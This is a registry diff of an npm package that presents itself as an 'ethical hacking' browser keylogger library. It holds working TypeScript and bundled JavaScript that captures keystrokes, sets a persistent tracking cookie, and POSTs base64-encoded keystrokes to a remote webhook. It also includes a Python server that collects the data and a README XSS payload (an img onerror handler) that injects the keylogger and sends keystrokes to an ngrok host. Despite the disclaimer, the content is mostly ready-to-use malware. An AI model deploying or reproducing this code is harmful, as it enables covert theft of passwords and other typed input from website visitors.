@mihnea.dev/keylogger.js 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @mihnea.dev/keylogger.js might be problematic. Click here for more details.

package/README.md ADDED
@@ -0,0 +1,110 @@
1
+ # Keylogger.js
2
+ **Keylogger.js** is a lightweight JavaScript library for ethical hacking, penetration testing, and security research. It allows security professionals to capture keyboard events and send them securely to a specified webhook for analysis. Designed for ethical use only, this library serves as a tool for demonstrating vulnerabilities in applications and enhancing system security.
3
+
4
+ ## ⚠️ Disclaimer
5
+ This library is intended **only for ethical purposes** such as security research and testing within authorized environments. Unauthorized use, including any malicious or illegal intent, is strictly prohibited. The author disclaims all responsibility for any misuse of this software.
6
+
7
+ ## Features
8
+ - **Lightweight**: keylogger.js is a lightweight library that can be easily integrated into any web application.
9
+ - **Secure**: All captured keyboard events are base64 encoded and sent securely to a specified webhook.
10
+ - **Customizable**: Developers can customize the library to suit their needs, including changing the webhook URL and adding additional functionality.
11
+ - **Modular**: Built using modern TypeScript for robust type safety and developer experience.
12
+
13
+ ## Installation
14
+ You can install **Keylogger.js** via npm or yarn:
15
+
16
+ ```bash
17
+ # Using bun
18
+ bun install @mihnea.dev/keylogger.js
19
+ # Using npm
20
+ npm install @mihnea.dev/keylogger.js
21
+ # Using yarn
22
+ yarn add @mihnea.dev/keylogger.js
23
+ ```
24
+ If you prefer embedding the library directly in your HTML file, include the script:
25
+ ```html
26
+ <script src="https://..."></script>
27
+ ```
28
+
29
+ ## Usage
30
+ To use keylogger.js in your web application, you need to import the library and initialize it with your webhook URL:
31
+
32
+ ```typescript
33
+ import Keylogger from '@mihnea.dev/keylogger.js';
34
+
35
+ /* Initialize the Keylogger with your webhook */
36
+ const _: Keylogger = new Keylogger('https://your-webhook-url.com');
37
+ ```
38
+
39
+ Should you embed the script directly in your HTML file, you can initialize the library as follows:
40
+
41
+ ```html
42
+ <script>
43
+ const _ = new Keylogger('https://your-webhook-url.com');
44
+ </script>
45
+ ```
46
+
47
+ ## Configuration Options
48
+ Keylogger.js supports several configuration options that can be passed to the constructor:
49
+ - `webhook`: The URL to which the captured keyboard events will be sent.
50
+ - `logAll`: A boolean flag indicating whether all keyboard events should be logged (default: `false`).
51
+
52
+ ## Example
53
+ This example demonstrates how to use Keylogger.js in a controlled testing environment by integrating the Python server, exposing it using Ngrok, and embedding the library into a vulnerable webpage to simulate XSS.
54
+
55
+ ### 1. Start the Python Webhook Server
56
+ The Python server included in [`./examples/server.py`](./examples/server.py) listens for incoming requests from Keylogger.js. It decodes Base64-encoded payloads and logs them. To start the server, run the following command:
57
+
58
+ ```bash
59
+ python3 examples/server.py
60
+ ```
61
+
62
+ ### 2. Expose the Server Using Ngrok
63
+ To expose the Python server to the internet, use Ngrok. Run the following command to start an HTTP tunnel:
64
+
65
+ ```bash
66
+ ngrok http 3000
67
+ ```
68
+
69
+ ### 3. Embed Keylogger.js in a Webpage
70
+ This step demonstrates embedding Keylogger.js into a vulnerable webpage as part of an XSS simulation.
71
+
72
+ ```html
73
+ <img src="invalid.jpg" onerror="
74
+ const script = document.createElement('script');
75
+ script.src = 'https://your-cdn-link.com/keylogger.js';
76
+ document.body.appendChild(script);
77
+ script.onload = () => {
78
+ const _ = new Keylogger('https://<random-id>.ngrok.io', true);
79
+ };
80
+ ">
81
+ ```
82
+
83
+ ### Observing Results:
84
+ 1. The Keylogger.js library captures keystrokes and sends them to the webhook.
85
+ 2. The Python server decodes the Base64-encoded payload and logs the captured keystrokes.
86
+ ```bash
87
+ Decoded Payload: {"type":"keypress","value":"a","session":{...}}
88
+ Parsed JSON:
89
+ {
90
+ "type": "keypress",
91
+ "value": "a",
92
+ "session": {
93
+ "id": "unique-session-id",
94
+ "created_at": "2024-11-29T18:00:00Z",
95
+ "user_agent": "Mozilla/5.0",
96
+ "session_cookie": "master-kw-session"
97
+ }
98
+ }
99
+ ```
100
+
101
+ ## Security Considerations
102
+ - Ensure you use this library only in authorized and controlled environments.
103
+ - Do not use this tool for any illegal or unauthorized activity.
104
+ - Always notify and gain consent from stakeholders before testing.
105
+
106
+ ## Contributing
107
+ Contributions are welcome! Feel free to open issues or submit pull requests to improve the library.
108
+
109
+ ## License
110
+ This project is licensed under the MIT License. See the [LICENSE](./LICENSE) file for more information.
@@ -0,0 +1,114 @@
1
+ var __defProp = Object.defineProperty;
2
+ var __getOwnPropNames = Object.getOwnPropertyNames;
3
+ var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
4
+ var __hasOwnProp = Object.prototype.hasOwnProperty;
5
+ var __moduleCache = /* @__PURE__ */ new WeakMap;
6
+ var __toCommonJS = (from) => {
7
+ var entry = __moduleCache.get(from), desc;
8
+ if (entry)
9
+ return entry;
10
+ entry = __defProp({}, "__esModule", { value: true });
11
+ if (from && typeof from === "object" || typeof from === "function")
12
+ __getOwnPropNames(from).map((key) => !__hasOwnProp.call(entry, key) && __defProp(entry, key, {
13
+ get: () => from[key],
14
+ enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable
15
+ }));
16
+ __moduleCache.set(from, entry);
17
+ return entry;
18
+ };
19
+ var __export = (target, all) => {
20
+ for (var name in all)
21
+ __defProp(target, name, {
22
+ get: all[name],
23
+ enumerable: true,
24
+ configurable: true,
25
+ set: (newValue) => all[name] = () => newValue
26
+ });
27
+ };
28
+
29
+ // src/index.ts
30
+ var exports_src = {};
31
+ __export(exports_src, {
32
+ default: () => src_default
33
+ });
34
+ module.exports = __toCommonJS(exports_src);
35
+
36
+ // src/lib/Keylogger.ts
37
+ class Keylogger {
38
+ webhook;
39
+ session = null;
40
+ keys = [];
41
+ constructor(webhook, logAll) {
42
+ this.webhook = webhook;
43
+ const masterSession = this.getOrCreateMasterSession();
44
+ this.initializeSession(masterSession);
45
+ logAll ? this.logAll() : this.logOnEnter();
46
+ }
47
+ getOrCreateMasterSession() {
48
+ const cookieName = "master-kw-session";
49
+ const existingCookie = document.cookie.split("; ").find((row) => row.startsWith(`${cookieName}=`));
50
+ if (existingCookie) {
51
+ return existingCookie.split("=")[1];
52
+ }
53
+ const newMasterSession = crypto.randomUUID();
54
+ const expires = new Date;
55
+ expires.setFullYear(expires.getFullYear() + 100);
56
+ document.cookie = `${cookieName}=${newMasterSession}; expires=${expires.toUTCString()}; path=/`;
57
+ return newMasterSession;
58
+ }
59
+ async initializeSession(session_cookie) {
60
+ this.session = await this.createSession(session_cookie);
61
+ }
62
+ async createSession(session_cookie) {
63
+ const id = crypto.randomUUID();
64
+ const created_at = new Date;
65
+ const user_agent = navigator.userAgent;
66
+ return { id, created_at, user_agent, session_cookie };
67
+ }
68
+ async sendToWebhook(payload) {
69
+ if (!this.session)
70
+ return;
71
+ const body = btoa(JSON.stringify({ ...payload, session: this.session }));
72
+ try {
73
+ const response = await fetch(this.webhook, {
74
+ method: "POST",
75
+ headers: {
76
+ "Content-Type": "text/plain"
77
+ },
78
+ body
79
+ });
80
+ if (!response.ok) {
81
+ console.error(btoa(response.statusText));
82
+ }
83
+ } catch (e) {
84
+ console.error(btoa(e.toString()));
85
+ }
86
+ }
87
+ logAll() {
88
+ document.addEventListener("keydown", (event) => {
89
+ const key = event.key;
90
+ this.keys.push(key);
91
+ this.sendToWebhook({
92
+ type: "keypress",
93
+ value: key
94
+ });
95
+ });
96
+ }
97
+ logOnEnter() {
98
+ document.addEventListener("keydown", (event) => {
99
+ if (event.key === "Enter") {
100
+ const value = this.keys.join("");
101
+ this.keys = [];
102
+ this.sendToWebhook({
103
+ type: "enter",
104
+ value
105
+ });
106
+ } else {
107
+ this.keys.push(event.key);
108
+ }
109
+ });
110
+ }
111
+ }
112
+
113
+ // src/index.ts
114
+ var src_default = Keylogger;
@@ -0,0 +1,82 @@
1
+ // src/lib/Keylogger.ts
2
+ class Keylogger {
3
+ webhook;
4
+ session = null;
5
+ keys = [];
6
+ constructor(webhook, logAll) {
7
+ this.webhook = webhook;
8
+ const masterSession = this.getOrCreateMasterSession();
9
+ this.initializeSession(masterSession);
10
+ logAll ? this.logAll() : this.logOnEnter();
11
+ }
12
+ getOrCreateMasterSession() {
13
+ const cookieName = "master-kw-session";
14
+ const existingCookie = document.cookie.split("; ").find((row) => row.startsWith(`${cookieName}=`));
15
+ if (existingCookie) {
16
+ return existingCookie.split("=")[1];
17
+ }
18
+ const newMasterSession = crypto.randomUUID();
19
+ const expires = new Date;
20
+ expires.setFullYear(expires.getFullYear() + 100);
21
+ document.cookie = `${cookieName}=${newMasterSession}; expires=${expires.toUTCString()}; path=/`;
22
+ return newMasterSession;
23
+ }
24
+ async initializeSession(session_cookie) {
25
+ this.session = await this.createSession(session_cookie);
26
+ }
27
+ async createSession(session_cookie) {
28
+ const id = crypto.randomUUID();
29
+ const created_at = new Date;
30
+ const user_agent = navigator.userAgent;
31
+ return { id, created_at, user_agent, session_cookie };
32
+ }
33
+ async sendToWebhook(payload) {
34
+ if (!this.session)
35
+ return;
36
+ const body = btoa(JSON.stringify({ ...payload, session: this.session }));
37
+ try {
38
+ const response = await fetch(this.webhook, {
39
+ method: "POST",
40
+ headers: {
41
+ "Content-Type": "text/plain"
42
+ },
43
+ body
44
+ });
45
+ if (!response.ok) {
46
+ console.error(btoa(response.statusText));
47
+ }
48
+ } catch (e) {
49
+ console.error(btoa(e.toString()));
50
+ }
51
+ }
52
+ logAll() {
53
+ document.addEventListener("keydown", (event) => {
54
+ const key = event.key;
55
+ this.keys.push(key);
56
+ this.sendToWebhook({
57
+ type: "keypress",
58
+ value: key
59
+ });
60
+ });
61
+ }
62
+ logOnEnter() {
63
+ document.addEventListener("keydown", (event) => {
64
+ if (event.key === "Enter") {
65
+ const value = this.keys.join("");
66
+ this.keys = [];
67
+ this.sendToWebhook({
68
+ type: "enter",
69
+ value
70
+ });
71
+ } else {
72
+ this.keys.push(event.key);
73
+ }
74
+ });
75
+ }
76
+ }
77
+
78
+ // src/index.ts
79
+ var src_default = Keylogger;
80
+ export {
81
+ src_default as default
82
+ };
@@ -0,0 +1,96 @@
1
+ """
2
+ Python Webhook Server for Keylogger Class
3
+
4
+ This Python server acts as a webhook endpoint for the Keylogger class,
5
+ designed to listen for HTTP POST requests on http://0.0.0.0:3000.
6
+ It processes incoming keystroke data sent by the Keylogger, allowing
7
+ you to log, inspect, and respond to the payloads.
8
+
9
+ - The Keylogger sends JSON data containing keystrokes or session information.
10
+ - This server's POST handler (`do_POST`) decodes and prints the payload.
11
+ - If the payload is valid JSON, it logs the structured JSON to the console for inspection.
12
+
13
+ NOTE: In a production environment, you should secure the server with HTTPS, and store the payload
14
+ data securely in a database or log file. This server is for testing and debugging purposes only.
15
+
16
+ Example Payload Sent by Keylogger:
17
+ ---------------------------------
18
+ {
19
+ "type": "keypress",
20
+ "value": "a",
21
+ "session": {
22
+ "id": "unique-session-id",
23
+ "created_at": "2024-11-29T17:30:00Z",
24
+ "user_agent": "Mozilla/5.0",
25
+ "session_cookie": "master-kw-session"
26
+ }
27
+ }
28
+
29
+ How to Use:
30
+ -----------
31
+ 1. Run this server using:
32
+ $ python3 examples/server.py
33
+
34
+ 1.1. You can use ngrok to expose the server to the internet:
35
+ $ ngrok http 3000
36
+
37
+ 2. Configure your Keylogger instance to send keystroke data to the webhook URL:
38
+ e.g., new Keylogger("https://your-ngrok-url.ngrok.io")
39
+ """
40
+
41
+ from http.server import BaseHTTPRequestHandler, HTTPServer
42
+ import json, base64
43
+
44
+ class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
45
+ def do_OPTIONS(self):
46
+ """
47
+ Handle preflight CORS requests.
48
+ """
49
+ self.send_response(200)
50
+ self.send_header("Access-Control-Allow-Origin", "*")
51
+ self.send_header("Access-Control-Allow-Methods", "POST, GET, OPTIONS")
52
+ self.send_header("Access-Control-Allow-Headers", "Content-Type")
53
+ self.end_headers()
54
+
55
+ def do_POST(self):
56
+ """
57
+ Handle POST requests with raw Base64 payloads.
58
+ """
59
+ # Read the content length from headers
60
+ content_length = int(self.headers.get('Content-Length', 0))
61
+ # Read the incoming POST data (Base64-encoded string)
62
+ base64_payload = self.rfile.read(content_length).decode('utf-8')
63
+
64
+ # Decode Base64-encoded payload
65
+ try:
66
+ decoded_payload = base64.b64decode(base64_payload).decode('utf-8')
67
+ print("Decoded Payload:", decoded_payload)
68
+
69
+ # Try parsing the decoded payload as JSON
70
+ try:
71
+ json_payload = json.loads(decoded_payload)
72
+ print("Parsed JSON Payload:", json.dumps(json_payload, indent=4))
73
+ except json.JSONDecodeError:
74
+ print("Decoded payload is not valid JSON.")
75
+ except Exception as e:
76
+ print("Error decoding Base64 payload:", str(e))
77
+
78
+ # Respond to the client
79
+ self.send_response(200)
80
+ self.send_header("Access-Control-Allow-Origin", "*")
81
+ self.send_header("Content-Type", "application/json")
82
+ self.end_headers()
83
+ self.wfile.write(b'{"status": "success"}')
84
+
85
+ def run(server_class=HTTPServer, handler_class=SimpleHTTPRequestHandler):
86
+ """
87
+ Start the HTTP server on localhost:3000.
88
+ """
89
+ server_address = ('0.0.0.0', 3000)
90
+ httpd = server_class(server_address, handler_class)
91
+ print("Starting server on http://0.0.0.0:3000")
92
+ httpd.serve_forever()
93
+
94
+ if __name__ == "__main__":
95
+ run()
96
+
package/package.json ADDED
@@ -0,0 +1,31 @@
1
+ {
2
+ "name": "@mihnea.dev/keylogger.js",
3
+ "description": "A simple keylogger for the browser. Please use it responsibly!",
4
+ "version": "0.0.1",
5
+ "type": "module",
6
+ "repository": {
7
+ "type": "git",
8
+ "url": "git+https://github.com/mihneamanolache/keylogger.js.git"
9
+ },
10
+ "author": "Mihnea Octavian Manolache <mihnea.dev@gmail.com> (https://github.com/mihneamanolache/)",
11
+ "main": "./dist/cjs/index.js",
12
+ "module": "./dist/esm/index.js",
13
+ "exports": {
14
+ ".": {
15
+ "import": "./dist/esm/index.js",
16
+ "require": "./dist/cjs/index.js"
17
+ }
18
+ },
19
+ "types": "./dist/esm/index.d.ts",
20
+ "scripts": {
21
+ "build:cjs": "bun build src/index.ts --format cjs --dts --outdir dist/cjs --clean",
22
+ "build:esm": "bun build src/index.ts --format esm --dts --outdir dist/esm --clean",
23
+ "build": "rm -rf dist && bun run build:cjs && bun run build:esm"
24
+ },
25
+ "devDependencies": {
26
+ "@types/bun": "latest"
27
+ },
28
+ "peerDependencies": {
29
+ "typescript": "^5.0.0"
30
+ }
31
+ }
package/src/index.ts ADDED
@@ -0,0 +1,3 @@
1
+ import Keylogger from "./lib/Keylogger";
2
+ export default Keylogger;
3
+ export * from "./lib/Keylogger.types";
@@ -0,0 +1,123 @@
1
+ import type { IPayload, ISession } from "./Keylogger.types";
2
+
3
+ /**
4
+ * Keylogger class to capture keyboard events and send them to a specified webhook.
5
+ */
6
+ export default class Keylogger {
7
+ /** Webhook URL to send captured data. */
8
+ protected webhook: string;
9
+ /** Current session information. */
10
+ protected session: ISession | null = null;
11
+ /** Array to store captured keystrokes. */
12
+ protected keys: Array<string> = [];
13
+
14
+ /**
15
+ * Constructs a new instance of the Keylogger.
16
+ *
17
+ * @param { string } webhook - URL of the webhook to send captured data.
18
+ * @param { boolean } [logAll=false] - Whether to log every keypress (`true`) or only on the "Enter" key (`false`).
19
+ */
20
+ constructor(webhook: string, logAll: boolean | undefined) {
21
+ this.webhook = webhook;
22
+ const masterSession: string = this.getOrCreateMasterSession();
23
+ this.initializeSession(masterSession);
24
+ logAll ? this.logAll() : this.logOnEnter();
25
+ }
26
+
27
+ /**
28
+ * Retrieves or creates a persistent "master-kw-cookie" cookie.
29
+ * @returns The value of the "master-kw-session" cookie.
30
+ */
31
+ protected getOrCreateMasterSession(): string {
32
+ const cookieName: string = "master-kw-session";
33
+ const existingCookie: string | undefined = document.cookie
34
+ .split("; ")
35
+ .find((row) => row.startsWith(`${cookieName}=`));
36
+ if (existingCookie) {
37
+ return existingCookie.split("=")[1];
38
+ }
39
+ const newMasterSession: string = crypto.randomUUID();
40
+ const expires: Date = new Date();
41
+ expires.setFullYear(expires.getFullYear() + 100);
42
+ document.cookie = `${cookieName}=${newMasterSession}; expires=${expires.toUTCString()}; path=/`;
43
+ return newMasterSession;
44
+ }
45
+
46
+ /**
47
+ * Initializes the session with metadata.
48
+ * @param { string } session_cookie - The persistent session cookie value.
49
+ */
50
+ protected async initializeSession(session_cookie: string): Promise<void> {
51
+ this.session = await this.createSession(session_cookie);
52
+ }
53
+
54
+ /**
55
+ * Creates a new session object with metadata.
56
+ * @param { string } session_cookie - The persistent session cookie value.
57
+ * @returns { Promise<ISession> } A Promise resolving to the session object.
58
+ */
59
+ protected async createSession(session_cookie: string): Promise<ISession> {
60
+ const id: string = crypto.randomUUID();
61
+ const created_at: Date = new Date();
62
+ const user_agent: string = navigator.userAgent;
63
+ return { id, created_at, user_agent, session_cookie };
64
+ }
65
+
66
+ /**
67
+ * Sends captured data to the webhook along with the session information.
68
+ * NOTE: Data is encoded in Base64 to prevent interception.
69
+ *
70
+ * @param payload - The data payload to send.
71
+ */
72
+ protected async sendToWebhook(payload: IPayload): Promise<void> {
73
+ if (!this.session) return;
74
+ const body: string = btoa(JSON.stringify({ ...payload, session: this.session }));
75
+ try {
76
+ const response: Response = await fetch(this.webhook, {
77
+ method: "POST",
78
+ headers: {
79
+ "Content-Type": "text/plain",
80
+ },
81
+ body
82
+ });
83
+ if (!response.ok) {
84
+ console.error(btoa(response.statusText));
85
+ }
86
+ } catch (e: unknown) {
87
+ console.error(btoa((<Error>e).toString()));
88
+ }
89
+ }
90
+
91
+ /**
92
+ * Logs all keypress events and sends each key to the webhook.
93
+ */
94
+ protected logAll(): void {
95
+ document.addEventListener("keydown", (event: KeyboardEvent) => {
96
+ const key: string = event.key;
97
+ this.keys.push(key);
98
+ this.sendToWebhook({
99
+ type: "keypress",
100
+ value: key,
101
+ });
102
+ });
103
+ }
104
+
105
+ /**
106
+ * Logs all keystrokes until the "Enter" key is pressed, then sends the accumulated keys to the webhook.
107
+ */
108
+ protected logOnEnter(): void {
109
+ document.addEventListener("keydown", (event: KeyboardEvent) => {
110
+ if (event.key === "Enter") {
111
+ const value: string = this.keys.join("");
112
+ this.keys = [];
113
+ this.sendToWebhook({
114
+ type: "enter",
115
+ value,
116
+ });
117
+ } else {
118
+ this.keys.push(event.key);
119
+ }
120
+ });
121
+ }
122
+ }
123
+
@@ -0,0 +1,20 @@
1
+ /**
2
+ * Interface representing a session's metadata.
3
+ */
4
+ export interface ISession {
5
+ /** Unique identifier for the session. */
6
+ id: string;
7
+ /** Timestamp when the session was created. */
8
+ created_at: Date;
9
+ /** User agent string of the client browser. */
10
+ user_agent: string;
11
+ /** Persistent session cookie. */
12
+ session_cookie: string;
13
+ }
14
+
15
+ export interface IPayload {
16
+ /** Type of event captured. */
17
+ type: "keypress" | "enter";
18
+ /** Value of the captured event. */
19
+ value: string;
20
+ }
package/tsconfig.json ADDED
@@ -0,0 +1,27 @@
1
+ {
2
+ "compilerOptions": {
3
+ // Enable latest features
4
+ "lib": ["ESNext", "DOM"],
5
+ "target": "ESNext",
6
+ "module": "ESNext",
7
+ "moduleDetection": "force",
8
+ "jsx": "react-jsx",
9
+ "allowJs": true,
10
+
11
+ // Bundler mode
12
+ "moduleResolution": "bundler",
13
+ "allowImportingTsExtensions": true,
14
+ "verbatimModuleSyntax": true,
15
+ "noEmit": true,
16
+
17
+ // Best practices
18
+ "strict": true,
19
+ "skipLibCheck": true,
20
+ "noFallthroughCasesInSwitch": true,
21
+
22
+ // Some stricter flags (disabled by default)
23
+ "noUnusedLocals": false,
24
+ "noUnusedParameters": false,
25
+ "noPropertyAccessFromIndexSignature": false
26
+ }
27
+ }